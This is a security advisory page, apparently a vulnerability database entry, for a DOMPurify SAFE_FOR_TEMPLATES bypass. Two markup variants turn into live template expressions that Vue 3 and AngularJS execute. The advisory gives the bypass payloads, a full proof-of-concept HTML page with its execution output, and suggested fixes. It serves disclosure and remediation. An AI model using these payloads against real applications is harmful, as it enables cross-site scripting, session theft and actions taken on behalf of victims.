GHSA-qm7q-q8h9-jg8q: 
JavaScript Analyse et atténuation de la vulnérabilité

Summary

With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.17 returns strings that contain no {{ or }}, but which turn into a live {{…}} expression as soon as the string is assigned to innerHTML. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution. The attacker controls only the markup passed to sanitize(). The only configuration required is SAFE_FOR_TEMPLATES: true, which is a protective option, and the application uses it for its documented purpose. There are two independent variants. Both variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain {{…}} case and the "expression split by a removed element" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.

Details

SAFE_FOR_TEMPLATES scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.

  1. Per text node, during the walk (src/purify.ts, around line 2396):
    if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
      const content = _stripTemplateExpressions(currentNode.textContent);
      ...
  2. On the final serialized string (src/purify.ts, around line 3273):
    if (SAFE_FOR_TEMPLATES) {
      serializedHTML = _stripTemplateExpressions(serializedHTML);
    }
    Both use the expressions in src/regexp.ts, e.g. MUSTACHE_EXPR = /{{[\w\W]*|^[\w\W]*}}/g.

Variant 1: nested <form> collapses on reparse

Input:

<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}

On the first parse, </form> clears the parser's form element pointer while the <div> is still open, so the second <form> is accepted as a child of the <div>. The DOM has three separate text nodes: {, {…} and }. None of them contains {{ or }}, so the per-node scrub does nothing. Serialized output:

<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>

The string has no {{ or }} either (a <form> tag sits between the braces), so the final string scrub also passes. When the consumer assigns this to innerHTML, the HTML parser ignores the inner <form> start tag because a form is already open. The three text fragments become adjacent and merge into one text node:

{{constructor.constructor('alert(1)')()}}

Variant 2: the final string scrub cuts through markup

Input:

<b><i>}<x></x>}{</i>{constructor.constructor('alert(1)')()}</b>}

After the disallowed <x> is removed, the serialized string is <b><i>}}{</i>{…}</b>}. The ^[\w\W]*}} branch of MUSTACHE_EXPR then deletes everything from the start of the string through }}, which removes the <b><i> start tags but leaves their end tags. Output:

 {</i>{constructor.constructor('alert(1)')()}</b>}

On reparse the orphaned </i> and </b> are dropped, and the text merges into {{constructor.constructor('alert(1)')()}}. The same regex-over-markup behaviour can also cut closing tags from the end of the output (the {{[\w\W]* branch). For example <form action="https://evil.example/collect"><input name=q>{<x></x>{</form><p>after</p> returns <form action="https://evil.example/collect"><input name="q"> with no </form>.

Root cause and suggested direction

The scrub treats "no expression in any text node" and "no expression in the serialized string" as sufficient, but the guarantee users need is "no expression in any text node after the output is parsed again". Possible fixes:

  • After serialization, reparse the output and re-run the text-node scrub until the result is stable, or scrub on a reparsed copy before returning.
  • Do not run the template regexes over serialized markup; apply them only to text nodes and attribute values, so tags are never sliced.
  • Treat lone { / } at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.

Proof of concept

Tested with DOMPurify 3.4.17 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2. Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else. Save as poc.html and open it in a browser. Use poc.html?v=2 for the second variant.

<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/dompurify@3.4.17/dist/purify.js"></script>
<script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
  const log = (m) => (document.getElementById('log').textContent += m + '\n');
  window.xss = (tag) => log('EXECUTED: ' + tag);
  const cfg = { SAFE_FOR_TEMPLATES: true };
  // 1 = nested form, 2 = orphaned end tags
  const variant = new URLSearchParams(location.search).get('v') === '2' ? 2 : 1;
  const wrap = (expr) => variant === 1
    ? `<form><div>{</form><form>{${expr}}</form>}`
    : `<b><i>}<x></x>}{</i>{${expr}}</b>}`;
  // Vue 3 (in-DOM template)
  const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg);
  log('vue clean: ' + cleanVue);
  document.querySelector('#vue-host .comment').innerHTML = cleanVue;
  Vue.createApp({}).mount('#vue-host');
  // AngularJS 1.8.3
  const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg);
  log('ng clean : ' + cleanNg);
  document.querySelector('#ng-host .comment').innerHTML = cleanNg;
  angular.bootstrap(document.getElementById('ng-host'), []);
</script>

Expected: the sanitized strings contain no live expression and nothing executes. Actual (variant 1):

vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng

Actual (variant 2):

vue clean:  {</i>{$emit.constructor('xss("vue")')()}</b>}
EXECUTED: vue
ng clean :  {</i>{constructor.constructor('xss("ng")')()}</b>}
EXECUTED: ng

Controls that are still scrubbed correctly with the same config:

  • <p>{{constructor.constructor('alert(1)')()}}</p> returns <p> </p>
  • <div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div> returns </div> Server-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing {{constructor.constructor('alert(1)')()}}.

Impact

Cross-site scripting through client-side template injection. Affected: applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES: true, place the result in the DOM through an HTML sink such as innerHTML, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way. An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.


Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-43rg-r2xr-q686MEDIUM5.9
  • JavaScript logoJavaScript
  • parse-server
NonOuiNov 14, 2026
GHSA-pxwg-mv9c-h422LOWN/A
  • JavaScript logoJavaScript
  • @openeudi/openid4vp
NonOuiNov 14, 2026
GHSA-qm7q-q8h9-jg8qMEDIUMN/A
  • JavaScript logoJavaScript
  • dompurify
NonOuiNov 14, 2026
GHSA-662g-9vq2-39jxMEDIUMN/A
  • JavaScript logoJavaScript
  • qhhoj-backend
NonOuiNov 14, 2026
GHSA-mh3m-3rhj-pqffLOWN/A
  • JavaScript logoJavaScript
  • qhhoj-backend
NonOuiNov 14, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités